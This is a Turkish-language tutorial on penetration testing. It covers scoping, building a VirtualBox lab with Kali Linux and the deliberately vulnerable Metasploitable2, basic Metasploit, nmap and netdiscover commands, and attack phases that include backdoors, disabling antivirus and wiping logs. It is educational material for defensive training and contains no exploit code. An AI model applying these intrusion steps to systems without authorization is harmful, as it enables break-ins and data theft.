Sızma Testleri İçin Kapsam Belirleme
Sızma testleri için kapsam belirleme, bir sızma testinin nasıl yapılacağını, ne kadar süreceğini, ne kadar maliyetli olacağını ve hangi yasal şartlara uyulacağını belirleyen bir süreçtir. Sızma testi yapılacak kurumla önceden görüşülerek, sızma testinin hangi alanları kapsayacağı, hangi yöntemlerle yapılacağı, hangi zaman diliminde gerçekleştirileceği, hangi raporlama formatının kullanılacağı, hangi sorumlulukların paylaşılacağı gibi konular netleştirilir. Sızma testi yapılacak kurumla ilk defa çalışılıyorsa, kurumun güvenlik durumunu, ihtiyaçlarını ve beklentilerini anlamak için bir anket uygulanabilir. Bu anket sayesinde, sızma testinin kapsamı daha iyi belirlenebilir. Kurumlar, sızma testi için aşağıdaki test türlerinden bir veya birkaçını seçebilir:
- Ağ sızma testi: Ağ sızma testi, bir kurumun ağ altyapısının güvenliğini ölçmek için yapılan bir güvenlik testidir. Ağ sızma testi, ağa bağlı cihazların, sunucuların, servislerin, uygulamaların, protokollerin ve portların güvenlik seviyesini belirlemek için çeşitli teknikler kullanır. Ağ sızma testi, ağın saldırganlar tarafından ele geçirilmesini, verilerin çalınmasını veya bozulmasını, ağ performansının düşmesini veya kesilmesini önlemek için yapılır. Ağ sızma testi, ağın güvenlik durumunu raporlayarak, güvenlik açıklarını ve iyileştirme önerilerini sunar.
- Web uygulaması sızma testi: Web uygulaması sızma testi, bir kurumun web uygulamalarının güvenliğini ölçmek için yapılan bir güvenlik testidir. Web uygulaması sızma testi, web uygulamalarının kodunu, iş mantığını, fonksiyonlarını, arayüzlerini, veri tabanlarını, API'lerini ve diğer bileşenlerini güvenlik açısından incelemek için çeşitli teknikler kullanır. Web uygulaması sızma testi, web uygulamalarının saldırganlar tarafından istismar edilmesini, verilerin çalınmasını veya bozulmasını, web uygulaması performansının düşmesini veya kesilmesini önlemek için yapılır. Web uygulaması sızma testi, web uygulamalarının güvenlik durumunu raporlayarak, güvenlik açıklarını ve iyileştirme önerilerini sunar.
- Kablosuz ağ sızma testi: Kablosuz ağ sızma testi, bir kurumun kablosuz ağının güvenliğini ölçmek için yapılan bir güvenlik testidir. Kablosuz ağ sızma testi, kablosuz ağa bağlı cihazların, erişim noktalarının, şifreleme yöntemlerinin ve protokollerin güvenlik seviyesini belirlemek için çeşitli teknikler kullanır. Kablosuz ağ sızma testi, kablosuz ağın saldırganlar tarafından ele geçirilmesini, verilerin çalınmasını veya bozulmasını, ağ performansının düşmesini veya kesilmesini önlemek için yapılır. Kablosuz ağ sızma testi, kablosuz ağın güvenlik durumunu raporlayarak, güvenlik açıklarını ve iyileştirme önerilerini sunar.
- Fiziki sızma testi: Fiziki sızma testi, bir kurumun fiziki güvenliğini ölçmek için yapılan bir güvenlik testidir. Fiziki sızma testi, kurumun fiziki alanlarına, binalarına, odalarına, dolaplarına, kasalarına, kilitlerine, kart okuyucularına, alarm sistemlerine, kamera sistemlerine ve diğer güvenlik önlemlerine erişmek için çeşitli teknikler kullanır. Fiziki sızma testi, kurumun fiziki alanlarının saldırganlar tarafından zorla girilmesini, verilerin veya ekipmanların çalınmasını veya bozulmasını, fiziki güvenlik sistemlerinin devre dışı bırakılmasını veya atlatılmasını önlemek için yapılır. Fiziki sızma testi, kurumun fiziki güvenlik durumunu raporlayarak, güvenlik açıklarını ve iyileştirme önerilerini sunar.
Sızma Testlerinde Uygulanacak Yollar
Sızma testlerinde izlenecek yollar, bir sızma testinin nasıl planlanacağı, yürütüleceği ve sonuçlandırılacağı ile ilgili adımlardır. Sızma testlerinde izlenecek yollar şunlardır:
- Sızma testinin kapsamı belirlenir: Bu adımda, sızma testinin hangi amaçla, hangi yöntemlerle, hangi alanları kapsayacağı, hangi zaman diliminde gerçekleştirileceği, hangi raporlama formatının kullanılacağı, hangi yasal şartlara uyulacağı gibi konular netleştirilir. Sızma testinin kapsamı belirlenirken, sızma testi yapılacak kurumun ihtiyaçları, beklentileri ve bütçesi göz önünde bulundurulur. Sızma testinin kapsamı belirlenirken, sızma testi yapacak kişi veya şirketle gerekli yasal sözleşmeler yapılır.
- Sızma testinin tüm ağ için mi, ağın belirlenen bir kısmı için mi yapılacağı netleştirilir: Bu adımda, sızma testinin hangi ağ altyapısına uygulanacağı kararlaştırılır. Sızma testi, tüm ağ için yapılabilir, bu durumda ağa bağlı tüm cihazlar, sunucular, servisler, uygulamalar, protokoller ve portlar test edilir. Sızma testi, ağın belirlenen bir kısmı için yapılabilir, bu durumda sadece belirli cihazlar, sunucular, servisler, uygulamalar, protokoller ve portlar test edilir. Sızma testinin tüm ağ için mi, ağın belirlenen bir kısmı için mi yapılacağı, sızma testinin amacına, kapsamına, maliyetine ve süresine göre değişir.
- Sızma testini yapacak kişi (güvenlik uzmanı) veya şirket belirlenir: Bu adımda, sızma testini yapacak olan kişi veya şirket seçilir. Sızma testini yapacak kişi veya şirket, sızma testi konusunda deneyimli, yetkin, güvenilir, profesyonel ve etik olmalıdır. Sızma testini yapacak kişi veya şirket, sızma testinin kapsamına, yöntemlerine, zamanlamasına, raporlamasına ve yasal şartlarına uygun olarak çalışmalıdır. Sızma testini yapacak kişi veya şirket, sızma testi yapılacak kurumla iyi bir iletişim kurmalı, sızma testi sürecinde ve sonrasında gerekli desteği vermeli, sızma testi sonuçlarını açık, anlaşılır ve detaylı bir şekilde raporlamalıdır.
- Sızma testi sonucunda hazırlanan rapordaki eksiklikler giderilir: Bu adımda, sızma testi tamamlandıktan sonra, sızma testini yapan kişi veya şirket tarafından hazırlanan rapor incelenir. Raporda, sızma testi sürecinde yapılan işlemler, kullanılan teknikler, tespit edilen güvenlik açıkları, saldırı senaryoları, risk değerlendirmeleri, iyileştirme önerileri ve diğer bilgiler yer alır. Rapordaki eksiklikler, sızma testi yapılacak kurum tarafından sızma testini yapan kişi veya şirkete bildirilir ve gerekli düzeltmeler yapılır. Rapordaki güvenlik açıkları ve iyileştirme önerileri, sızma testi yapılacak kurum tarafından uygulanır ve güvenlik seviyesi artırılır.
Sanal Sızma Laboratuvarının Kurulumu
Sanal sızma laboratuvarı, sızma testleri yapmak için gerekli olan araçları ve sistemleri içeren bir sanal ortamdır. Sızma testleri, bir sistemin güvenliğini test etmek için bilerek saldırılar düzenleyen bir güvenlik analizi yöntemidir. Sanal sızma laboratuvarı, bu saldırıları gerçekleştirmek için güvenli ve izole bir alan sağlar. Bu sayede, sızma testleri yapan kişi, gerçek sistemlere zarar vermeden veya yasal sorunlara girmeden, güvenlik açıklarını bulabilir ve çeşitli teknikleri deneyebilir.
Sanal sızma laboratuvarı kurmak için, öncelikle bir sanallaştırma yazılımı kullanmak gerekir. Sanallaştırma yazılımı, bir bilgisayarın fiziksel kaynaklarını (işlemci, bellek, disk, ağ, vb.) bölerek, birden fazla sanal makine oluşturmayı sağlar. Sanal makine, fiziksel bir bilgisayar gibi çalışan, ancak sanal olarak oluşturulan bir yazılım uygulamasıdır. Sanal makine, farklı bir işletim sistemi veya farklı bir konfigürasyon içerebilir. Sanallaştırma yazılımı, sanal makineler arasında ağ bağlantısı kurmayı da sağlar. Böylece, sanal sızma laboratuvarı, birbirine bağlı farklı sanal makinelerden oluşur.
Sanal sızma laboratuvarı kurmak için kullanılan en popüler sanallaştırma yazılımlarından biri Virtual Box'tur. Virtual Box, ücretsiz ve açık kaynaklı bir sanallaştırma yazılımıdır. Virtual Box ile, bir bilgisayar üzerinde farklı işletim sistemleri çalıştırabilir, sanal makineleri yönetebilir ve ağ ayarlarını yapabilirsiniz.
Sanal sızma laboratuvarı kurmak için, en az iki sanal makineye ihtiyaç vardır. Bunlardan biri, sızma testi için kullanılan sanal makinedir. Bu sanal makine, sızma testi için gerekli olan araçları ve programları içeren bir işletim sistemine sahip olmalıdır. Bu işletim sistemi, genellikle Kali Linux'tur. Kali Linux, güvenlik testleri için özel olarak tasarlanmış bir Linux dağıtımıdır. Kali Linux, sızma testi için kullanılan en popüler araçlardan biri olan Metasploit'i de içerir. Metasploit, güvenlik açıklarını bulmak, istismar etmek ve sonuçlarını değerlendirmek için kullanılan bir çerçevedir.
Sanal sızma laboratuvarının diğer sanal makinesi, sızma testi hedefi olan sanal makinedir. Bu sanal makine, bilerek güvenlik açıkları bırakılmış bir işletim sistemi veya uygulama içerir. Bu sayede, sızma testi yapan kişi, bu sanal makineye saldırarak, güvenlik açıklarını bulabilir ve istismar edebilir. Bu sanal makine, genellikle Metasploitable2'dir. Metasploitable2, güvenlik testleri için oluşturulmuş bir Linux dağıtımıdır. Metasploitable2, çok sayıda güvenlik açığı içerir ve Metasploit ile uyumludur.
Sanal sızma laboratuvarı kurmak için, özetle şu adımlar izlenir:
- Virtual Box indirilir ve kurulur.
- Kali Linux ve Metasploitable2 işletim sistemleri indirilir.
- Virtual Box ile iki sanal makine oluşturulur.
- Oluşturulan sanal makinelerden birine Kali Linux, diğerine Metasploitable2 işletim sistemleri kurulur.
- Sanal makinelerin ağ ayarları yapılır ve birbirine bağlanır.
- Kali Linux sanal makinesinden Metasploit aracı çalıştırılır ve Metasploitable2 sanal makinesine saldırılar düzenlenir.
Virtual Box Programının Kurulumu
Virtual Box, bir sanallaştırma yazılımıdır. Sanallaştırma yazılımı, bir bilgisayarın fiziksel kaynaklarını bölerek, birden fazla sanal makine oluşturmayı sağlar. Sanal makine, fiziksel bir bilgisayar gibi çalışan, ancak sanal olarak oluşturulan bir yazılım uygulamasıdır. Sanal makine, farklı bir işletim sistemi veya farklı bir konfigürasyon içerebilir. Virtual Box, açık kaynak kodlu ve ücretsiz bir yazılımdır. Bu, Virtual Box'un kaynak kodunun herkes tarafından görülebileceği ve değiştirilebileceği, ayrıca Virtual Box'un herhangi bir ücret ödemeden kullanılabileceği anlamına gelir. Virtual Box, www.virtualbox.org/wiki/Downloads adresinden indirilebilir. Bu adreste, Virtual Box'un farklı işletim sistemleri için uyumlu sürümleri bulunur. Kullanılan işletim sistemine göre tercih yapılmalıdır. Örneğin, bilgisayarda Windows işletim sistemi kuruluysa, Windows için olan Virtual Box sürümü indirilmelidir. Virtual Box indirildikten sonra, kurulum dosyası çalıştırılarak, basit adımlar izlenerek kurulum yapılır. Virtual Box kurulduktan sonra, bir bilgisayar üzerinde farklı bir işletim sistemi çalıştırılabilir. Bunun için, istenilen işletim sisteminin ISO dosyası indirilmelidir. ISO dosyası, bir işletim sisteminin veya bir uygulamanın disk görüntüsüdür. ISO dosyası, sanal bir disk sürücüsü olarak kullanılabilir. Örneğin, Kali Linux işletim sistemi, www.kali.org/downloads/ adresinden indirilebilir. Kali Linux, güvenlik testleri için özel olarak tasarlanmış bir Linux dağıtımıdır. Kali Linux ISO dosyası indirildikten sonra, Virtual Box ile bir sanal makine oluşturulur. Oluşturulan sanal makine, Kali Linux işletim sistemi için gerekli olan kaynakları (işlemci, bellek, disk, ağ, vb.) ayarlamalıdır. Sanal makine oluşturulduktan sonra, sanal makineyi başlatarak, Kali Linux ISO dosyasını sanal disk sürücüsü olarak seçmelidir. Böylece, Kali Linux işletim sistemi, sanal makine üzerinde kurulabilir ve çalıştırılabilir. Bu şekilde, bilgisayarda herhangi bir işletim sistemi kuruluyken, Virtual Box ile sabit disk bölümüne kurulum yapılmadan, aynı bilgisayara Kali Linux işletim sistemi yüklenip kullanılabilir.
Kali Linux İşletim Sisteminin Kurulumu
Kali Linux, güvenlik testleri yapmak için tasarlanmış bir işletim sistemidir. Linux Debian ile aynı temele sahip olan Kali Linux, ücretsiz olarak indirilebilir ve kullanılabilir. Kali Linux, hackerların ve güvenlik uzmanlarının ihtiyaç duyduğu çok sayıda araç içerir. Bu araçlar, bilgisayar ağlarına, web sitelerine, veri tabanlarına, şifreli dosyalara ve daha birçok şeye sızma testleri yapmaya yarar. Kali Linux, kullanıcıların istedikleri gibi özelleştirebilecekleri ve ayarlayabilecekleri bir işletim sistemidir.
Kali Linux işletim sistemi, üç farklı şekilde kurulabilir ve çalıştırılabilir. Bunlar:
- Bilgisayarın sabit diskine yüklemek: Bu yöntem, Kali Linux'u bilgisayarın ana işletim sistemi olarak kullanmak isteyenler için uygundur. Bu şekilde, Kali Linux, bilgisayarın tüm kaynaklarından yararlanabilir ve daha hızlı çalışabilir. Ancak, bu yöntem, bilgisayarın diğer işletim sistemlerini silmesine veya zarar vermesine neden olabilir. Bu nedenle, bu yöntemi seçmeden önce, bilgisayardaki önemli verilerin yedeklenmesi gerekir. Ayrıca, bu yöntem, Kali Linux'u kullanmak için bilgisayarı her seferinde yeniden başlatmayı gerektirir.
- USB'ye yüklemek: Bu yöntem, Kali Linux'u bilgisayarın sabit diskine yüklemeden, USB bellek gibi taşınabilir bir cihaz üzerinden çalıştırmak isteyenler için uygundur. Bu şekilde, Kali Linux, bilgisayarın sabit diskine dokunmadan, USB belleği takıp çıkararak kullanılabilir. Ancak, bu yöntem, USB belleğin yeterli kapasiteye ve hıza sahip olmasını gerektirir. Ayrıca, bu yöntem, Kali Linux'un bilgisayarın bazı donanımlarını tanımamasına veya uyumlu olmamasına neden olabilir.
- Virtual Box gibi sanal ortamda kullanmak: Bu yöntem, Kali Linux'u bilgisayarın sabit diskine yüklemeden, Virtual Box gibi bir sanal makine programı üzerinden çalıştırmak isteyenler için uygundur. Bu şekilde, Kali Linux, bilgisayarın mevcut işletim sistemi ile birlikte, aynı anda, ayrı bir pencerede çalıştırılabilir. Ancak, bu yöntem, bilgisayarın yeterli bellek, işlemci ve disk alanına sahip olmasını gerektirir. Ayrıca, bu yöntem, Kali Linux'un bilgisayarın tüm kaynaklarından tam olarak yararlanamamasına neden olabilir.
Kali Linux, bir Linux versiyonu olduğu için, bu işletim sistemi ile çalışırken, Linux komutlarını ve görevlerini bilmek önemlidir. Linux komutları, Kali Linux'un terminal adı verilen bir arayüzü üzerinden yazılır ve çalıştırılır. Linux görevleri, Kali Linux'un araçlarını, dosyalarını, ayarlarını ve diğer özelliklerini yönetmek için kullanılır. Linux komutları ve görevleri, Kali Linux'un kullanımını kolaylaştırır ve etkinleştirir.
Metasploitable2 Programının Kurulumu
Metasploitable2, siber güvenlik alanında eğitim almak veya araştırma yapmak isteyenler için hazırlanmış bir sanal makinedir. Sanal makine, gerçek bir bilgisayar gibi çalışan ancak sanallaştırma yazılımları sayesinde oluşturulan bir yazılım ortamıdır. Sanal makine, farklı işletim sistemleri ve uygulamaları çalıştırmak için kullanılabilir. Metasploitable2, Ubuntu Linux işletim sistemi kullanan bir sanal makinedir. Ancak bu sanal makine, bilerek zafiyetli bırakılmıştır. Yani, bu sanal makineye sızma testi yapmak, yani güvenlik açıklarını bulmak ve istismar etmek çok kolaydır. Bu sayede, sızma testi öğrenmek veya geliştirmek isteyenler, gerçek bir sisteme zarar vermeden pratik yapabilirler.
Metasploitable2 programını indirin indirilen dosya, bir sanal makine dosyasıdır. Bu dosyayı çalıştırmak için, Virtual Box gibi bir sanallaştırma yazılımına ihtiyaç vardır. Virtual Box, sanal makine oluşturmak ve yönetmek için kullanılan ücretsiz bir yazılımdır. Virtual Box'ı indirip kurun. Virtual Box kurulduktan sonra, Metasploitable2 dosyası Virtual Box'a eklenir. Böylece, Metasploitable2 sanal makinesi çalıştırılabilir.
Metasploitable2 sanal makinesi, grafik arayüzü olmayan bir konsol ekranı ile açılır. Bu ekran, sanal makineye komutlar yazarak erişim sağlamak için kullanılır. Sanal makineye erişmek için, kullanıcı adı ve şifre olarak msfadmin yazmak gerekir. Bu bilgiler, sanal makinenin zafiyetli olduğunu gösteren ipuçlarıdır. Sanal makineye erişildikten sonra, sızma testi yapmak için çeşitli araçlar ve yöntemler kullanılabilir. Örneğin, sanal makinenin açık olan portlarını, çalışan servislerini ve güvenlik açıklarını tespit etmek için nmap gibi bir araç kullanılabilir. Bu bilgiler, sanal makineye saldırmak için kullanılabilir. Saldırı sonucunda, sanal makinenin kontrolü ele geçirilebilir. Bu, sızma testinin başarılı olduğunu gösterir.
Metasploit Programı
Metasploit programı, bir güvenlik testi aracıdır. Bu program, sistemlerdeki açıkları bulmak, sızma testleri yapmak ve sistemleri istismar etmek için kullanılabilir. Metasploit, Ruby programlama diliyle yazılmıştır ve Kali Linux işletim sisteminde yerleşik olarak bulunur. Metasploit, binlerce exploit, payload, encoder, post-exploitation modülü ve yardımcı araç içerir. Bu araçlar, hedef sistemlere karşı çeşitli saldırı senaryoları oluşturmak için kullanılabilir.
Metasploit programını kullanmak için, terminal ekranına "msfconsole" yazmak yeterlidir. Bu komut, Metasploit Framework Console'u başlatır. Bu konsol, Metasploit programının tüm özelliklerine erişmek için kullanılan bir arayüzdür. Konsolda, aşağıdaki parametrelerden bazıları kullanılabilir:
- help: Kullanılabilir komutların bir listesini gösterir.
- search: Belirli bir kriterle ilgili exploit, payload, modül veya araç arar.
- show: Belirli bir kategoriye ait exploit, payload, modül veya araçları gösterir.
- use: Belirli bir exploit, payload, modül veya aracı seçer ve yapılandırmak için hazırlar.
- set: Bir değişkene değer atar. Örneğin, hedef IP adresini veya kullanıcı IP adresini belirtmek için kullanılır.
- set RHOST: Hedef IP adresini belirtir. Bu, saldırı yapılacak olan sistemdir.
- set LHOST: Kullanıcı IP adresini belirtir. Bu, saldırıyı yapan sistemdir.
Metasploit programı, güvenlik testleri için çok güçlü ve esnek bir araçtır. Ancak, bu aracı kullanırken, yasal ve etik kurallara uyulması gerektiğini unutmamak gerekir. Metasploit programı, sadece yetkili olduğunuz sistemler üzerinde test yapmak için kullanılmalıdır. Aksi takdirde, yasal sorumluluklar doğabilir.
Sızma Testi Aşamaları
Sızma testi, bir sistemin güvenliğini test etmek için kullanılan bir yöntemdir. Sızma testi, aşağıdaki aşamalardan oluşur:
- Bilgi Toplama: Bu aşamada, sızma testi yapılacak hedef hakkında mümkün olduğunca çok bilgi toplanır. Bu bilgiler, hedefin kim olduğu, ne yaptığı, hangi teknolojileri kullandığı, hangi zayıf noktaları olduğu gibi konuları içerir. Bilgi toplama, iki şekilde yapılabilir:
- Pasif Bilgi Toplama: Bu yöntemde, hedefe doğrudan bağlantı kurmadan veya herhangi bir araç kullanmadan internet üzerinden bilgi toplanır. Örneğin, arama motorları, sosyal medya platformları, alan adı kayıt servisleri, haber siteleri gibi kaynaklardan pasif bilgi toplanabilir.
- Aktif Bilgi Toplama: Bu yöntemde, hedefe bağlantı kurarak veya çeşitli araçlar kullanarak bilgi toplanır. Örneğin, port taraması, servis tespiti, işletim sistemi tespiti, banner grabbing, zafiyet taraması gibi işlemler aktif bilgi toplama yöntemleridir.
- Ağ Haritalama: Bu aşamada, hedefin ağ yapısı ve topolojisi belirlenir. Hangi cihazların, hangi IP adreslerine, hangi portlara ve hangi servislere sahip olduğu, hangi ağ protokollerinin kullanıldığı, hangi güvenlik duvarı ve yönlendirici kurallarının olduğu gibi bilgiler ağ haritalama ile elde edilir. Ağ haritalama, genellikle Nmap gibi araçlar ile yapılır.
- Zafiyet Tarama: Bu aşamada, hedefin sahip olduğu zafiyetler tespit edilir. Zafiyetler, hedefin güvenliğini zayıflatan veya ihlal edilmesine izin veren açıklar veya hatalardır. Zafiyet taraması, Nessus, OpenVAS, Metasploit gibi araçlar ile yapılır. Zafiyet taraması sonucunda, hedefin hangi zafiyetlere sahip olduğu, bu zafiyetlerin nasıl istismar edilebileceği, bu zafiyetlerin ne kadar kritik olduğu gibi bilgiler elde edilir.
- Exploit Seçimi: Bu aşamada, tespit edilen zafiyetleri istismar etmek için uygun exploitler seçilir. Exploitler, zafiyetleri kullanarak hedefe sızmayı veya hedef üzerinde istenilen işlemleri yapmayı sağlayan kod veya araçlardır. Exploit seçimi, hedefin zafiyetlerine, istismar edilebilirlik derecesine, istenilen sonuca göre yapılır. Exploit seçimi, Metasploit, Exploit-DB, CVE gibi kaynaklardan yararlanılarak yapılır.
- Erişim Elde Etme: Bu aşamada, seçilen exploitler kullanılarak hedefe sızılır. Erişim elde etme, hedefin sistemine girmek, hedef üzerinde komut çalıştırmak, hedefin verilerine erişmek, hedefin ağ trafiğini dinlemek, hedefin kamerasını veya mikrofonunu kullanmak gibi işlemleri içerir. Erişim elde etme, Metasploit, Netcat, Wireshark, Meterpreter gibi araçlar ile yapılır.
- Araştırma: Bu aşamada, hedefe sızıldıktan sonra hedef hakkında daha fazla bilgi toplanır. Araştırma, hedefin sistem ayarlarını, kullanıcı hesaplarını, dosya ve dizin yapısını, çalışan uygulamalarını, ağ bağlantılarını, güvenlik politikalarını, yüklü yazılımları, güncellemeleri, logları gibi bilgileri içerir. Araştırma, hedef üzerinde çalıştırılan komutlar, scriptler, araçlar ile yapılır.
- Erişimlerin Korunması: Bu aşamada, hedefe sızılan erişimin kaybedilmemesi veya fark edilmemesi için önlemler alınır. Erişimlerin korunması, hedefe geri dönebilmek için arka kapılar bırakmak, hedefin güvenlik duvarı veya antivirüs gibi koruyucu mekanizmalarını devre dışı bırakmak, hedefin parolalarını değiştirmek veya ele geçirmek, hedefin ağ trafiğini şifrelemek veya gizlemek gibi işlemleri içerir. Erişimlerin korunması, Netcat, Mimikatz, Veil, Proxychains gibi araçlar ile yapılır.
- İzlerin Silinmesi: Bu aşamada, hedefe sızıldığının fark edilmemesi için izler silinir. İzlerin silinmesi, hedef üzerinde çalıştırılan komutların, dosyaların, dizinlerin, logların, arka kapıların, exploitlerin, araçların silinmesi veya gizlenmesi gibi işlemleri içerir. İzlerin silinmesi, hedef üzerinde çalıştırılan komutlar, scriptler, araçlar ile yapılır.
- Raporlama: Bu aşamada, sızma testi sürecinde yapılan tüm işlemler, elde edilen tüm bilgiler, bulunan tüm zafiyetler, kullanılan tüm exploitler, alınan tüm önlemler, silinen tüm izler raporlanır. Raporlama, sızma testinin amacını, kapsamını, metodolojisini, sonuçlarını, önerilerini, eklerini içeren yazılı bir belge olarak hazırlanır. Raporlama, Microsoft Word, LibreOffice Writer, LaTeX gibi araçlar ile yapılır.
Nmap Aracını Kullanarak Kali İşletim Sisteminde Hedef Tanımlama
Nmap aracını kullanarak Kali işletim sisteminde hedef tanımlama, ağ ortamındaki bilgisayarların IP adreslerini, açık portlarını ve işletim sistemlerini belirlemek için kullanılan bir yöntemdir. Bu yöntem, aşağıdaki adımları içerir:
1. Adım: Konsol ekranına sudo netdiscover -f yazarak ağ ortamındaki bilgisayarların IP numaralarını tespit ediniz. Bu komut, ağdaki tüm aktif cihazları bulmak için ARP (Address Resolution Protocol) paketleri gönderir ve yanıtları alır. Bu şekilde, ağdaki cihazların MAC adreslerini, IP adreslerini ve üretici bilgilerini görüntüleyebilirsiniz.
2. Adım: Seçilen hedef bilgisayarın IP adresini nmap <Hedef IP numarası> şeklinde yazınız. Bu komut, hedef bilgisayarın açık portlarını, çalışan servislerini ve işletim sistemini tespit etmek için TCP (Transmission Control Protocol) paketleri gönderir ve yanıtları alır. Bu şekilde, hedef bilgisayarın güvenlik durumunu ve zayıf noktalarını analiz edebilirsiniz.
3. Adım: Nmap aracı ile bu IP adresi için tarama işlemi yapınız ve açık portları bulunuz. Bu komut, hedef bilgisayarın hangi portlarının açık olduğunu ve hangi servislerin çalıştığını belirlemek için farklı tarama teknikleri kullanır. Örneğin, -sS seçeneği ile SYN taraması, -sT seçeneği ile TCP taraması, -sU seçeneği ile UDP taraması yapabilirsiniz. Bu şekilde, hedef bilgisayara erişmek için kullanabileceğiniz potansiyel yolları bulabilirsiniz.
Ağ Haritalama
Ağ haritalama, bir ağın nasıl göründüğünü ve hangi bileşenlerden oluştuğunu ortaya çıkarmak için yapılan bir işlemdir. Ağ haritalama, bir saldırganın veya bir güvenlik uzmanının, bir ağa saldırmak veya savunmak için zayıf noktaları bulmasına yardımcı olabilir. Ağ haritalama, aşağıdaki adımları içerir:
- Ağ keşfi: Bu adımda, hedef ağın IP aralığı, alt ağ maskesi, DNS sunucuları, yönlendiriciler, anahtarlar, ağ geçitleri gibi temel bilgileri belirlenir. Bu bilgiler, ağın yapısını ve boyutunu anlamak için gereklidir. Ağ keşfi için ping, traceroute, nslookup gibi araçlar kullanılabilir.
- Port tarama: Bu adımda, hedef ağdaki her bir cihazın hangi portların açık, kapalı veya filtreli olduğu tespit edilir. Açık portlar, bir cihazın hangi servisleri sunduğunu ve hangi protokolleri kullandığını gösterir. Port tarama için nmap, hping, masscan gibi araçlar kullanılabilir.
- Servis tespiti: Bu adımda, açık portlarda çalışan servislerin türü, sürümü, yapılandırması, zafiyetleri gibi detaylı bilgileri elde edilir. Servis tespiti, bir saldırganın veya bir güvenlik uzmanının, bir servise nasıl erişebileceğini veya nasıl saldırabileceğini belirlemesine yardımcı olur. Servis tespiti için nmap, netcat, telnet gibi araçlar kullanılabilir.
- İşletim sistemi tespiti: Bu adımda, hedef ağdaki her bir cihazın işletim sisteminin türü, sürümü, yaması, yapılandırması gibi bilgileri elde edilir. İşletim sistemi tespiti, bir saldırganın veya bir güvenlik uzmanının, bir cihazın güvenlik seviyesini ve zafiyetlerini anlamasına yardımcı olur. İşletim sistemi tespiti için nmap, p0f, xprobe2 gibi araçlar kullanılabilir.
- Ağ haritası çıkarma: Bu adımda, elde edilen tüm bilgiler bir araya getirilerek, hedef ağın görsel bir temsili oluşturulur. Ağ haritası, bir ağın topolojisini, bileşenlerini, bağlantılarını, servislerini, işletim sistemlerini, zafiyetlerini gösterir. Ağ haritası çıkarma için zenmap, maltego, lanmap2 gibi araçlar kullanılabilir.
Netdiscover Aracını Kullanarak Kali Linux İçindeki Ağ Taraması Yapma
Netdiscover aracını kullanarak ağ taraması yapmak, ağa bağlı olan cihazların IP ve MAC adreslerini öğrenmek için yapılan bir işlemdir. Bu işlemi yapmak için şu adımları izleyebilirsiniz:
- 1. Adım: Kali Linux içindeki netdiscover aracını çalıştırmak için, terminal penceresini açın ve sudo netdiscover komutunu yazın. Bu komut, netdiscover aracını yönetici olarak çalıştıracaktır. Eğer netdiscover aracı yüklü değilse, sudo apt install netdiscover komutuyla yükleyebilirsiniz.
- 2. Adım: Netdiscover aracıyla ağ taraması yapmak için, terminal penceresinde aracın çıktısını gözlemleyin. Aracın çıktısı, ağa bağlı olan cihazların IP adresleri, MAC adresleri, MAC adreslerine karşılık gelen üretici isimleri ve ağın IP aralığı gibi bilgileri içerir. Bu bilgiler, ağın yapısını ve bileşenlerini anlamak için yararlıdır.
- 3. Adım: Ağa bağlı ana bilgisayarların IP ve MAC adreslerini bularak test yapılan ağın haritasını çıkarmak için, terminal penceresinde aracın çıktısını kullanın. Aracın çıktısında, her bir cihaz için bir satır görüntülenir. Bu satırlarda, cihazların IP adresleri, MAC adresleri ve üretici isimleri yer alır. Bu bilgileri, bir tablo halinde düzenleyerek veya bir grafik aracı kullanarak ağın haritasını oluşturabilirsiniz. Ağın haritası, ağa bağlı olan cihazların birbirleriyle nasıl iletişim kurduğunu ve hangi protokolleri kullandığını gösterir.
Zafiyet Tarama
Zafiyet tarama, bir sistemdeki güvenlik açıklarını bulmak için yapılan bir işlemdir. Bu işlemde, otomatik olarak çalışan programlar kullanılır. Bu programlar, sistemin güvenlik durumunu analiz eder ve raporlar oluşturur. Bu raporlarda, sistemin zayıf noktaları ve nasıl giderilebilecekleri belirtilir.
Zafiyet örnekleri şunlardır:
- Basit şifre ve parola kullanımı: Sistemlere erişmek için kullanılan şifre ve parolaların, kolay tahmin edilebilir veya kırılabilir olmasıdır. Bu durum, sisteme yetkisiz kişilerin girmesine ve verileri çalmasına veya değiştirmesine neden olabilir. Bu zafiyeti önlemek için, şifre ve parolaların karmaşık, uzun ve farklı karakterler içermesi gerekir.
- Web uygulamalarındaki önemli dosyalara erişilebilir olması: Web sitelerinde, kullanıcıların görmemesi gereken dosyaların, internet üzerinden erişilebilir olmasıdır. Bu dosyalar, web sitesinin yapısını, veritabanını, şifrelerini veya diğer hassas bilgilerini içerebilir. Bu zafiyeti önlemek için, web uygulamalarının dizin yapısının gizli tutulması ve önemli dosyaların korunması gerekir.
- Sistem içinde kritik öneme sahip dosyaların paylaşımda olması: Ağ üzerindeki bilgisayarlarda, diğer kullanıcıların erişebileceği şekilde dosya paylaşımı yapılmasıdır. Bu dosyalar, kişisel, kurumsal veya gizli bilgiler içerebilir. Bu zafiyeti önlemek için, dosya paylaşımının sınırlı ve güvenli bir şekilde yapılması gerekir.
- SSL şifrelemedeki eksiklikler: SSL, internet üzerindeki veri iletişiminin güvenli bir şekilde yapılmasını sağlayan bir protokoldür. SSL şifrelemede, veriler şifrelenerek gönderilir ve alınır. Ancak, SSL şifrelemesinde bazı zafiyetler olabilir. Örneğin, kullanılan şifreleme algoritmasının zayıf olması, sertifikaların geçersiz veya sahte olması, ortadaki adam saldırılarına karşı korumasız olması gibi. Bu zafiyetleri önlemek için, SSL şifrelemesinin güncel ve güvenilir bir şekilde yapılması gerekir.
- SSL şifreleme desteği olmayan web siteleri: SSL şifrelemesi olmayan web siteleri, veri iletişimini açık bir şekilde yaparlar. Bu durum, verilerin dinlenmesine, değiştirilmesine veya ele geçirilmesine neden olabilir. Bu zafiyeti önlemek için, web sitelerinin SSL şifreleme desteği sağlaması gerekir.
- İşletim sistemi ve uygulamalarındaki güncelleme eksiklikleri: İşletim sistemi ve uygulamalar, zamanla yeni özellikler eklenir veya hatalar giderilir. Bu nedenle, güncellemeler yapılması gerekir. Güncelleme yapılmayan işletim sistemi ve uygulamalar, bilinen güvenlik açıklarına sahip olabilir. Bu zafiyeti önlemek için, işletim sistemi ve uygulamaların düzenli olarak güncellenmesi gerekir.
